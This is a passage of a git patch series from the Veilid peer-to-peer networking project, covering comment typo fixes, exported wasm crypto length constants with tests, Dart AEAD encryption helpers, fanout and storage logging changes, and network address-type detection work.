= iphoneos; diff --git a/veilid-flutter/example/pubspec.lock b/veilid-flutter/example/pubspec.lock index 25f2d414..8d0b8994 100644 --- a/veilid-flutter/example/pubspec.lock +++ b/veilid-flutter/example/pubspec.lock @@ -403,7 +403,7 @@ packages: path: ".." relative: true source: path - version: "0.2.1" + version: "0.2.3" web: dependency: transitive description: diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 21a3d1ce..11fb0f05 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -28,10 +28,7 @@ rt-tokio = [ ] [dependencies] -veilid-core = { path = "../../veilid-core", default-features = false, features = [ - "verbose-tracing", - "network-result-extra", -] } +veilid-core = { path = "../../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-subscriber = "^0" parking_lot = "^0" From 629f521c47d677cb49523cc1a7798ad6548df93e Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Thu, 21 Sep 2023 22:28:49 +0000 Subject: [PATCH 68/86] Fix "node will node" in fanout_call.rs comment This fixes "node" wordo in a comment: the logic of the software implies "node will not" here. --- veilid-core/src/rpc_processor/fanout_call.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/rpc_processor/fanout_call.rs b/veilid-core/src/rpc_processor/fanout_call.rs index 5a7971a5..d55971a5 100644 --- a/veilid-core/src/rpc_processor/fanout_call.rs +++ b/veilid-core/src/rpc_processor/fanout_call.rs @@ -156,7 +156,7 @@ where self.clone().add_to_fanout_queue(&new_nodes); } Ok(None) => { - // Call failed, node will node be considered again + // Call failed, node will not be considered again } Err(e) => { // Error happened, abort everything and return the error From 1af71e7154cd4a038b59c7615e385562fdad2bd3 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Sun, 24 Sep 2023 14:47:22 -0400 Subject: [PATCH 69/86] (wasm) re-export helpful length constants --- veilid-wasm/src/veilid_crypto_js.rs | 101 +++++++++++++++++++++ veilid-wasm/tests/src/veilidCrypto.test.ts | 50 ++++++++++ 2 files changed, 151 insertions(+) diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index 21012046..eb8c6949 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -478,4 +478,105 @@ impl VeilidCrypto { crypto_system.crypt_in_place_no_auth(&mut body, &nonce, &shared_secret); APIResult::Ok(body) } + + // -------------------------------- + // Constants + // (written as getters since wasm_bindgen doesn't support export of const) + // -------------------------------- + + /// Length of a crypto key in bytes + #[wasm_bindgen(getter)] + pub fn CRYPTO_KEY_LENGTH() -> usize { + veilid_core::CRYPTO_KEY_LENGTH + } + + /// Length of a crypto key in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn CRYPTO_KEY_LENGTH_ENCODED() -> usize { + veilid_core::CRYPTO_KEY_LENGTH_ENCODED + } + + /// Length of a hash digest in bytes + #[wasm_bindgen(getter)] + pub fn HASH_DIGEST_LENGTH() -> usize { + veilid_core::HASH_DIGEST_LENGTH + } + + /// Length of a hash digest in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn HASH_DIGEST_LENGTH_ENCODED() -> usize { + veilid_core::HASH_DIGEST_LENGTH_ENCODED + } + + /// Length of a nonce in bytes + #[wasm_bindgen(getter)] + pub fn NONCE_LENGTH() -> usize { + veilid_core::NONCE_LENGTH + } + + /// Length of a nonce in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn NONCE_LENGTH_ENCODED() -> usize { + veilid_core::NONCE_LENGTH_ENCODED + } + + /// Length of a crypto key in bytes + #[wasm_bindgen(getter)] + pub fn PUBLIC_KEY_LENGTH() -> usize { + veilid_core::PUBLIC_KEY_LENGTH + } + + /// Length of a crypto key in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn PUBLIC_KEY_LENGTH_ENCODED() -> usize { + veilid_core::PUBLIC_KEY_LENGTH_ENCODED + } + + /// Length of a route id in bytes + #[wasm_bindgen(getter)] + pub fn ROUTE_ID_LENGTH() -> usize { + veilid_core::ROUTE_ID_LENGTH + } + + /// Length of a route id in bytes afer encoding to base64url + #[wasm_bindgen(getter)] + pub fn ROUTE_ID_LENGTH_ENCODED() -> usize { + veilid_core::ROUTE_ID_LENGTH_ENCODED + } + + /// Length of a secret key in bytes + #[wasm_bindgen(getter)] + pub fn SECRET_KEY_LENGTH() -> usize { + veilid_core::SECRET_KEY_LENGTH + } + + /// Length of a secret key in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn SECRET_KEY_LENGTH_ENCODED() -> usize { + veilid_core::SECRET_KEY_LENGTH_ENCODED + } + + /// Length of a shared secret in bytes + #[wasm_bindgen(getter)] + pub fn SHARED_SECRET_LENGTH() -> usize { + veilid_core::SHARED_SECRET_LENGTH + } + + /// Length of a shared secret in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn SHARED_SECRET_LENGTH_ENCODED() -> usize { + veilid_core::SHARED_SECRET_LENGTH_ENCODED + } + + /// Length of a signature in bytes + #[wasm_bindgen(getter)] + pub fn SIGNATURE_LENGTH() -> usize { + veilid_core::SIGNATURE_LENGTH + } + + /// Length of a signature in bytes after encoding to base64url + #[wasm_bindgen(getter)] + pub fn SIGNATURE_LENGTH_ENCODED() -> usize { + veilid_core::SIGNATURE_LENGTH_ENCODED + } } diff --git a/veilid-wasm/tests/src/veilidCrypto.test.ts b/veilid-wasm/tests/src/veilidCrypto.test.ts index afbdfac2..da2a0190 100644 --- a/veilid-wasm/tests/src/veilidCrypto.test.ts +++ b/veilid-wasm/tests/src/veilidCrypto.test.ts @@ -142,4 +142,54 @@ describe('veilidCrypto', () => { }).not.toThrow(); }); + describe('contants', () => { + it('CRYPTO_KEY_LENGTH', () => { + expect(typeof veilidCrypto.CRYPTO_KEY_LENGTH).toBe('number'); + }); + it('CRYPTO_KEY_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.CRYPTO_KEY_LENGTH_ENCODED).toBe('number'); + }); + it('HASH_DIGEST_LENGTH', () => { + expect(typeof veilidCrypto.HASH_DIGEST_LENGTH).toBe('number'); + }); + it('HASH_DIGEST_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.HASH_DIGEST_LENGTH_ENCODED).toBe('number'); + }); + it('NONCE_LENGTH', () => { + expect(typeof veilidCrypto.NONCE_LENGTH).toBe('number'); + }); + it('NONCE_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.NONCE_LENGTH_ENCODED).toBe('number'); + }); + it('PUBLIC_KEY_LENGTH', () => { + expect(typeof veilidCrypto.PUBLIC_KEY_LENGTH).toBe('number'); + }); + it('PUBLIC_KEY_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.PUBLIC_KEY_LENGTH_ENCODED).toBe('number'); + }); + it('ROUTE_ID_LENGTH', () => { + expect(typeof veilidCrypto.ROUTE_ID_LENGTH).toBe('number'); + }); + it('ROUTE_ID_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.ROUTE_ID_LENGTH_ENCODED).toBe('number'); + }); + it('SECRET_KEY_LENGTH', () => { + expect(typeof veilidCrypto.SECRET_KEY_LENGTH).toBe('number'); + }); + it('SECRET_KEY_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.SECRET_KEY_LENGTH_ENCODED).toBe('number'); + }); + it('SHARED_SECRET_LENGTH', () => { + expect(typeof veilidCrypto.SHARED_SECRET_LENGTH).toBe('number'); + }); + it('SHARED_SECRET_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.SHARED_SECRET_LENGTH_ENCODED).toBe('number'); + }); + it('SIGNATURE_LENGTH', () => { + expect(typeof veilidCrypto.SIGNATURE_LENGTH).toBe('number'); + }); + it('SIGNATURE_LENGTH_ENCODED', () => { + expect(typeof veilidCrypto.SIGNATURE_LENGTH_ENCODED).toBe('number'); + }); + }); }); From 531cb71d004b237a9e9dd0b68bb63d3341c5a856 Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Mon, 25 Sep 2023 18:59:30 +0000 Subject: [PATCH 70/86] Fix "searing" in fanout_call.rs comment This fixes a wordo of searing for searching. --- veilid-core/src/rpc_processor/fanout_call.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/rpc_processor/fanout_call.rs b/veilid-core/src/rpc_processor/fanout_call.rs index 5a7971a5..8cb4c8b6 100644 --- a/veilid-core/src/rpc_processor/fanout_call.rs +++ b/veilid-core/src/rpc_processor/fanout_call.rs @@ -19,7 +19,7 @@ pub fn capability_fanout_node_info_filter(caps: Vec) -> FanoutNodeIn Arc::new(move |_, ni| ni.has_capabilities(&caps)) } -/// Contains the logic for generically searing the Veilid routing table for a set of nodes and applying an +/// Contains the logic for generically searching the Veilid routing table for a set of nodes and applying an /// RPC operation that eventually converges on satisfactory result, or times out and returns some /// unsatisfactory but acceptable result. Or something. /// From 073622b8bf61caab198db019aaa83bbc29810bf9 Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Mon, 25 Sep 2023 19:13:16 +0000 Subject: [PATCH 71/86] Fix "can possible be" in rpc_processor/mod.rs This fixes a wordo of possible for possibly. --- veilid-core/src/rpc_processor/mod.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index ba68fe27..c9f1cf5a 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -524,7 +524,7 @@ impl RPCProcessor { } /// Search the DHT for a specific node corresponding to a key unless we have that node in our routing table already, and return the node reference - /// Note: This routine can possible be recursive, hence the SendPinBoxFuture async form + /// Note: This routine can possibly be recursive, hence the SendPinBoxFuture async form pub fn resolve_node( &self, node_id: TypedKey, From 9d60ac01d0eee6dba985a181331c128cda595912 Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Mon, 25 Sep 2023 19:20:57 +0000 Subject: [PATCH 72/86] Fix non-contraction it's in set_value.rs This uses "its" in place of "it's" when not a contraction. --- veilid-core/src/storage_manager/set_value.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/storage_manager/set_value.rs b/veilid-core/src/storage_manager/set_value.rs index e1b4be01..15de4467 100644 --- a/veilid-core/src/storage_manager/set_value.rs +++ b/veilid-core/src/storage_manager/set_value.rs @@ -106,7 +106,7 @@ impl StorageManager { } else { // If the sequence number is older, or an equal sequence number, // node should have not returned a value here. - // Skip this node and it's closer list because it is misbehaving + // Skip this node and its closer list because it is misbehaving return Ok(None); } } else { From ca1a802b5b9239816593c8ac1ae02c2d619554e2 Mon Sep 17 00:00:00 2001 From: John Smith Date: Sun, 20 Aug 2023 14:29:23 -0400 Subject: [PATCH 73/86] remove spurious error from logs --- veilid-core/src/network_manager/connection_table.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/network_manager/connection_table.rs b/veilid-core/src/network_manager/connection_table.rs index c391246b..4f617814 100644 --- a/veilid-core/src/network_manager/connection_table.rs +++ b/veilid-core/src/network_manager/connection_table.rs @@ -132,7 +132,7 @@ impl ConnectionTable { false } - #[instrument(level = "trace", skip(self), ret, err)] + #[instrument(level = "trace", skip(self), ret)] pub fn add_connection( &self, network_connection: NetworkConnection, From 2d075626f18ee472a12b1950e82943aa708c08de Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 21 Sep 2023 22:24:37 -0400 Subject: [PATCH 74/86] fixes --- veilid-core/src/rpc_processor/fanout_call.rs | 28 ++++++++++++-------- veilid-core/src/storage_manager/get_value.rs | 6 ++++- veilid-core/src/storage_manager/set_value.rs | 7 ++++- 3 files changed, 28 insertions(+), 13 deletions(-) diff --git a/veilid-core/src/rpc_processor/fanout_call.rs b/veilid-core/src/rpc_processor/fanout_call.rs index 1c4ff0a0..3ae25137 100644 --- a/veilid-core/src/rpc_processor/fanout_call.rs +++ b/veilid-core/src/rpc_processor/fanout_call.rs @@ -113,21 +113,21 @@ where }); } - async fn fanout_processor(self: Arc) { + async fn fanout_processor(self: Arc) -> bool { // Loop until we have a result or are done loop { // Get the closest node we haven't processed yet if we're not done yet let next_node = { let mut ctx = self.context.lock(); if self.clone().evaluate_done(&mut ctx) { - break; + break true; } ctx.fanout_queue.next() }; // If we don't have a node to process, stop fanning out let Some(next_node) = next_node else { - break; + break false; }; // Do the call for this node @@ -161,7 +161,7 @@ where Err(e) => { // Error happened, abort everything and return the error self.context.lock().result = Some(Err(e)); - return; + break true; } }; } @@ -248,12 +248,18 @@ where } } // Wait for them to complete - timeout(timeout_ms, async { while unord.next().await.is_some() {} }) - .await - .into_timeout_or() - .map(|_| { - // Finished, return whatever value we came up with - self.context.lock().result.take().transpose() - }) + timeout(timeout_ms, async { + while let Some(is_done) = unord.next().await { + if is_done { + break; + } + } + }) + .await + .into_timeout_or() + .map(|_| { + // Finished, return whatever value we came up with + self.context.lock().result.take().transpose() + }) } } diff --git a/veilid-core/src/storage_manager/get_value.rs b/veilid-core/src/storage_manager/get_value.rs index ebf8969d..85a28a10 100644 --- a/veilid-core/src/storage_manager/get_value.rs +++ b/veilid-core/src/storage_manager/get_value.rs @@ -166,9 +166,13 @@ impl StorageManager { match fanout_call.run().await { // If we don't finish in the timeout (too much time passed checking for consensus) TimeoutOr::Timeout => { - log_stor!(debug "GetValue Fanout Timeout"); // Return the best answer we've got let ctx = context.lock(); + if ctx.value_count >= consensus_count { + log_stor!(debug "GetValue Fanout Timeout Consensus"); + } else { + log_stor!(debug "GetValue Fanout Timeout Non-Consensus: {}", ctx.value_count); + } Ok(SubkeyResult { value: ctx.value.clone(), descriptor: ctx.descriptor.clone(), diff --git a/veilid-core/src/storage_manager/set_value.rs b/veilid-core/src/storage_manager/set_value.rs index 15de4467..5c812f24 100644 --- a/veilid-core/src/storage_manager/set_value.rs +++ b/veilid-core/src/storage_manager/set_value.rs @@ -162,9 +162,14 @@ impl StorageManager { match fanout_call.run().await { // If we don't finish in the timeout (too much time passed checking for consensus) TimeoutOr::Timeout => { - log_stor!(debug "SetValue Fanout Timeout"); // Return the best answer we've got let ctx = context.lock(); + if ctx.set_count >= consensus_count { + log_stor!(debug "SetValue Fanout Timeout Consensus"); + } else { + log_stor!(debug "SetValue Fanout Timeout Non-Consensus: {}", ctx.set_count); + } + Ok(ctx.value.clone()) } // If we finished with or without consensus (enough nodes returning the same value) From 069926aba88f03c9f041983739b4659f51980e8c Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 24 Sep 2023 15:59:47 -0400 Subject: [PATCH 75/86] fixes --- veilid-core/src/tests/android/.gitignore | 14 ++++++++++++++ veilid-core/src/tests/android/build.gradle | 1 + .../gradle/wrapper/gradle-wrapper.properties | 5 +++++ veilid-flutter/lib/veilid_crypto.dart | 3 ++- 4 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 veilid-core/src/tests/android/.gitignore create mode 100644 veilid-core/src/tests/android/build.gradle create mode 100644 veilid-core/src/tests/android/gradle/wrapper/gradle-wrapper.properties diff --git a/veilid-core/src/tests/android/.gitignore b/veilid-core/src/tests/android/.gitignore new file mode 100644 index 00000000..f22e976f --- /dev/null +++ b/veilid-core/src/tests/android/.gitignore @@ -0,0 +1,14 @@ +gradle-wrapper.jar +/.gradle +/.idea +/captures/ +/gradlew +/gradlew.bat +/local.properties +GeneratedPluginRegistrant.java + +# Remember to never publicly share your keystore. +# See https://flutter.dev/docs/deployment/android#reference-the-keystore-from-the-app +key.properties +**/*.keystore +**/*.jks diff --git a/veilid-core/src/tests/android/build.gradle b/veilid-core/src/tests/android/build.gradle new file mode 100644 index 00000000..495c5038 --- /dev/null +++ b/veilid-core/src/tests/android/build.gradle @@ -0,0 +1 @@ +// Top-level build file where you can add configuration options common to all sub-projects/modules. diff --git a/veilid-core/src/tests/android/gradle/wrapper/gradle-wrapper.properties b/veilid-core/src/tests/android/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 00000000..41dfb879 --- /dev/null +++ b/veilid-core/src/tests/android/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.4-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/veilid-flutter/lib/veilid_crypto.dart b/veilid-flutter/lib/veilid_crypto.dart index 6edb6358..a6b3bead 100644 --- a/veilid-flutter/lib/veilid_crypto.dart +++ b/veilid-flutter/lib/veilid_crypto.dart @@ -215,7 +215,8 @@ abstract class VeilidCryptoSystem { final nonce = await randomNonce(); final saltBytes = nonce.decode(); final sharedSecret = await deriveSharedSecret(ekbytes, saltBytes); - return (await cryptNoAuth(body, nonce, sharedSecret))..addAll(saltBytes); + return Uint8List.fromList( + (await cryptNoAuth(body, nonce, sharedSecret)) + saltBytes); } Future decryptNoAuthWithPassword( From 437e21b0fef0eb87b70530a77a19f19df9154706 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 24 Sep 2023 22:36:15 -0400 Subject: [PATCH 76/86] encryption tools --- veilid-flutter/lib/veilid_crypto.dart | 46 +++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/veilid-flutter/lib/veilid_crypto.dart b/veilid-flutter/lib/veilid_crypto.dart index a6b3bead..85d22397 100644 --- a/veilid-flutter/lib/veilid_crypto.dart +++ b/veilid-flutter/lib/veilid_crypto.dart @@ -186,6 +186,52 @@ abstract class VeilidCryptoSystem { Future cryptNoAuth( Uint8List body, Nonce nonce, SharedSecret sharedSecret); + Future encryptAeadWithNonce( + Uint8List body, SharedSecret secret) async { + // generate nonce + final nonce = await randomNonce(); + // crypt and append nonce + final b = BytesBuilder() + ..add(await encryptAead(body, nonce, secret, null)) + ..add(nonce.decode()); + return b.toBytes(); + } + + Future decryptAeadWithNonce( + Uint8List body, SharedSecret secret) async { + if (body.length < Nonce.decodedLength()) { + throw const FormatException('not enough data to decrypt'); + } + final nonce = + Nonce.fromBytes(body.sublist(body.length - Nonce.decodedLength())); + final encryptedData = body.sublist(0, body.length - Nonce.decodedLength()); + // decrypt + return decryptAead(encryptedData, nonce, secret, null); + } + + Future encryptAeadWithPassword( + Uint8List body, String password) async { + final ekbytes = Uint8List.fromList(utf8.encode(password)); + final nonce = await randomNonce(); + final saltBytes = nonce.decode(); + final sharedSecret = await deriveSharedSecret(ekbytes, saltBytes); + return Uint8List.fromList( + (await encryptAead(body, nonce, sharedSecret, null)) + saltBytes); + } + + Future decryptAeadWithPassword( + Uint8List body, String password) async { + if (body.length < Nonce.decodedLength()) { + throw const FormatException('not enough data to decrypt'); + } + final ekbytes = Uint8List.fromList(utf8.encode(password)); + final bodyBytes = body.sublist(0, body.length - Nonce.decodedLength()); + final saltBytes = body.sublist(body.length - Nonce.decodedLength()); + final nonce = Nonce.fromBytes(saltBytes); + final sharedSecret = await deriveSharedSecret(ekbytes, saltBytes); + return decryptAead(bodyBytes, nonce, sharedSecret, null); + } + Future encryptNoAuthWithNonce( Uint8List body, SharedSecret secret) async { // generate nonce From 327ae80b11faf73f99dc479c02addbcac8d9ee9c Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Thu, 28 Sep 2023 03:09:57 +0000 Subject: [PATCH 77/86] Fix "from one message and other" - assembly_buffer This fixes the "other" wordo in "from one message and other" in assembly_buffer.rs. --- veilid-tools/src/assembly_buffer.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-tools/src/assembly_buffer.rs b/veilid-tools/src/assembly_buffer.rs index 316f86b8..4139f58f 100644 --- a/veilid-tools/src/assembly_buffer.rs +++ b/veilid-tools/src/assembly_buffer.rs @@ -385,7 +385,7 @@ impl AssemblyBuffer { /// Split a message into packets and send them serially, ensuring /// that they are sent consecutively to a particular remote address, - /// never interleaving packets from one message and other to minimize reassembly problems + /// never interleaving packets from one message and another to minimize reassembly problems pub async fn split_message( &self, data: Vec, From b9505c031c7ec18f55ef4ca6b210a8298ad9ba93 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 28 Sep 2023 12:52:49 -0400 Subject: [PATCH 78/86] xfer --- veilid-core/src/network_manager/native/discovery_context.rs | 4 +++- .../src/network_manager/native/network_class_discovery.rs | 1 + veilid-core/src/routing_table/route_spec_store/mod.rs | 6 +++++- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/veilid-core/src/network_manager/native/discovery_context.rs b/veilid-core/src/network_manager/native/discovery_context.rs index 04101c70..81c5ea3c 100644 --- a/veilid-core/src/network_manager/native/discovery_context.rs +++ b/veilid-core/src/network_manager/native/discovery_context.rs @@ -244,7 +244,9 @@ impl DiscoveryContext { } } if external_address_infos.len() < 2 { - log_net!(debug "not enough peers responded with an external address"); + log_net!(debug "not enough peers responded with an external address for type {:?}:{:?}", + protocol_type, + address_type); return false; } diff --git a/veilid-core/src/network_manager/native/network_class_discovery.rs b/veilid-core/src/network_manager/native/network_class_discovery.rs index 94db7ece..adcdb92d 100644 --- a/veilid-core/src/network_manager/native/network_class_discovery.rs +++ b/veilid-core/src/network_manager/native/network_class_discovery.rs @@ -22,6 +22,7 @@ impl Network { editor.clear_dial_info_details(None, None); editor.set_network_class(Some(NetworkClass::OutboundOnly)); + editor.clear_relay_node(); editor.commit(true).await; } } diff --git a/veilid-core/src/routing_table/route_spec_store/mod.rs b/veilid-core/src/routing_table/route_spec_store/mod.rs index 9cee1340..93ecca12 100644 --- a/veilid-core/src/routing_table/route_spec_store/mod.rs +++ b/veilid-core/src/routing_table/route_spec_store/mod.rs @@ -1285,7 +1285,11 @@ impl RouteSpecStore { // Ensure our network class is valid before attempting to assemble any routes if !rti.has_valid_network_class(RoutingDomain::PublicInternet) { - bail!("can't make private routes until our node info is valid"); + let peer_info = rti.get_own_peer_info(RoutingDomain::PublicInternet); + bail!( + "can't make private routes until our node info is valid: {:?}", + peer_info + ); } // Make innermost route hop to our own node From bbfd21edee653c6ba70c8295c3d8f78edcf81992 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 28 Sep 2023 15:44:06 -0400 Subject: [PATCH 79/86] some debugging --- veilid-core/src/routing_table/routing_domain_editor.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/veilid-core/src/routing_table/routing_domain_editor.rs b/veilid-core/src/routing_table/routing_domain_editor.rs index 6e015fe4..4a7cbb7e 100644 --- a/veilid-core/src/routing_table/routing_domain_editor.rs +++ b/veilid-core/src/routing_table/routing_domain_editor.rs @@ -1,5 +1,6 @@ use super::*; +#[derive(Debug)] enum RoutingDomainChange { ClearDialInfoDetails { address_type: Option, @@ -135,6 +136,9 @@ impl RoutingDomainEditor { None }; + // Debug print + log_rtab!(debug "[{:?}] COMMIT: {:?}", self.routing_domain, self.changes); + // Apply changes let mut changed = false; { @@ -247,10 +251,6 @@ impl RoutingDomainEditor { } } } - if changed { - // Clear our 'peer info' cache, the peerinfo for this routing domain will get regenerated next time it is asked for - detail.common_mut().clear_cache() - } }); if changed { // Allow signed node info updates at same timestamp for otherwise dead nodes if our network has changed From 6883607ff808f53f02f4ed6c569049c8d239a71f Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Fri, 29 Sep 2023 00:59:36 +0000 Subject: [PATCH 80/86] Fix "have been the once" in bucket_entry.rs This fixes a wordo (once for one) in bucket_entry.rs. --- veilid-core/src/routing_table/bucket_entry.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/routing_table/bucket_entry.rs b/veilid-core/src/routing_table/bucket_entry.rs index 2d768fec..2630b034 100644 --- a/veilid-core/src/routing_table/bucket_entry.rs +++ b/veilid-core/src/routing_table/bucket_entry.rs @@ -298,7 +298,7 @@ impl BucketEntryInner { // If we're updating an entry's node info, purge all // but the last connection in our last connections list // because the dial info could have changed and it's safer to just reconnect. - // The latest connection would have been the once we got the new node info + // The latest connection would have been the one we got the new node info // over so that connection is still valid. if node_info_changed { self.clear_last_connections_except_latest(); From b8980756b2b9c9653709ee689b048150986bcd22 Mon Sep 17 00:00:00 2001 From: Haley Weslin <15714156-hweslin@users.noreply.gitlab.com> Date: Fri, 29 Sep 2023 01:32:45 +0000 Subject: [PATCH 81/86] Fix "in the even we" in public_address_check.rs This fixes a wordo (even for event) in public_address_check.rs. --- veilid-core/src/network_manager/tasks/public_address_check.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/network_manager/tasks/public_address_check.rs b/veilid-core/src/network_manager/tasks/public_address_check.rs index b227dabd..55c9162d 100644 --- a/veilid-core/src/network_manager/tasks/public_address_check.rs +++ b/veilid-core/src/network_manager/tasks/public_address_check.rs @@ -167,7 +167,7 @@ impl NetworkManager { for (reporting_ip_block, a) in pacc { // If this address is not one of our current addresses (inconsistent) // and we haven't already denylisted the reporting source, - // Also check address with port zero in the even we are only checking changes to ip addresses + // Also check address with port zero in the event we are only checking changes to ip addresses if !current_addresses.contains(a) && !current_addresses.contains(&a.with_port(0)) && !inner From 91031531e4a6ca5457d457f96d60d4de9c273a00 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 28 Sep 2023 21:54:31 -0400 Subject: [PATCH 82/86] address type detection --- veilid-core/src/network_manager/mod.rs | 4 +- .../native/discovery_context.rs | 137 ++++++++++++------ veilid-core/src/network_manager/native/mod.rs | 46 +++--- .../native/network_class_discovery.rs | 32 +++- veilid-core/src/network_manager/wasm/mod.rs | 25 ++-- 5 files changed, 158 insertions(+), 86 deletions(-) diff --git a/veilid-core/src/network_manager/mod.rs b/veilid-core/src/network_manager/mod.rs index 473d4d77..688c9c03 100644 --- a/veilid-core/src/network_manager/mod.rs +++ b/veilid-core/src/network_manager/mod.rs @@ -65,12 +65,14 @@ pub const PUBLIC_ADDRESS_INCONSISTENCY_PUNISHMENT_TIMEOUT_US: TimestampDuration pub const ADDRESS_FILTER_TASK_INTERVAL_SECS: u32 = 60; pub const BOOT_MAGIC: &[u8; 4] = b"BOOT"; -#[derive(Copy, Clone, Debug, Default)] +#[derive(Clone, Debug, Default)] pub struct ProtocolConfig { pub outbound: ProtocolTypeSet, pub inbound: ProtocolTypeSet, pub family_global: AddressTypeSet, pub family_local: AddressTypeSet, + pub public_internet_capabilities: Vec, + pub local_network_capabilities: Vec, } // Things we get when we start up and go away when we shut down diff --git a/veilid-core/src/network_manager/native/discovery_context.rs b/veilid-core/src/network_manager/native/discovery_context.rs index 81c5ea3c..2837ed4c 100644 --- a/veilid-core/src/network_manager/native/discovery_context.rs +++ b/veilid-core/src/network_manager/native/discovery_context.rs @@ -14,6 +14,13 @@ pub enum DetectedDialInfo { Detected(DialInfoDetail), } +// Detection result of external address +#[derive(Clone, Debug)] +pub struct DetectionResult { + pub ddi: DetectedDialInfo, + pub external_address_types: AddressTypeSet, +} + // Result of checking external address #[derive(Clone, Debug)] struct ExternalInfo { @@ -380,28 +387,34 @@ impl DiscoveryContext { #[instrument(level = "trace", skip(self), ret)] async fn protocol_process_no_nat( &self, - unord: &mut FuturesUnordered>>, + unord: &mut FuturesUnordered>>, ) { let external_1 = self.inner.lock().external_1.as_ref().unwrap().clone(); let this = self.clone(); - let do_no_nat_fut: SendPinBoxFuture> = Box::pin(async move { + let do_no_nat_fut: SendPinBoxFuture> = Box::pin(async move { // Do a validate_dial_info on the external address from a redirected node if this .validate_dial_info(external_1.node.clone(), external_1.dial_info.clone(), true) .await { // Add public dial info with Direct dialinfo class - Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: external_1.dial_info.clone(), - class: DialInfoClass::Direct, - })) + Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: external_1.dial_info.clone(), + class: DialInfoClass::Direct, + }), + external_address_types: AddressTypeSet::only(external_1.address.address_type()), + }) } else { // Add public dial info with Blocked dialinfo class - Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: external_1.dial_info.clone(), - class: DialInfoClass::Blocked, - })) + Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: external_1.dial_info.clone(), + class: DialInfoClass::Blocked, + }), + external_address_types: AddressTypeSet::only(external_1.address.address_type()), + }) } }); unord.push(do_no_nat_fut); @@ -411,7 +424,7 @@ impl DiscoveryContext { #[instrument(level = "trace", skip(self), ret)] async fn protocol_process_nat( &self, - unord: &mut FuturesUnordered>>, + unord: &mut FuturesUnordered>>, ) { // Get the external dial info for our use here let (external_1, external_2) = { @@ -424,8 +437,17 @@ impl DiscoveryContext { // If we have two different external addresses, then this is a symmetric NAT if external_2.address.address() != external_1.address.address() { - let do_symmetric_nat_fut: SendPinBoxFuture> = - Box::pin(async move { Some(DetectedDialInfo::SymmetricNAT) }); + let do_symmetric_nat_fut: SendPinBoxFuture> = + Box::pin(async move { + Some(DetectionResult { + ddi: DetectedDialInfo::SymmetricNAT, + external_address_types: AddressTypeSet::only( + external_1.address.address_type(), + ) | AddressTypeSet::only( + external_2.address.address_type(), + ), + }) + }); unord.push(do_symmetric_nat_fut); return; } @@ -440,7 +462,7 @@ impl DiscoveryContext { { if external_1.dial_info.port() != local_port { let c_external_1 = external_1.clone(); - let do_manual_map_fut: SendPinBoxFuture> = + let 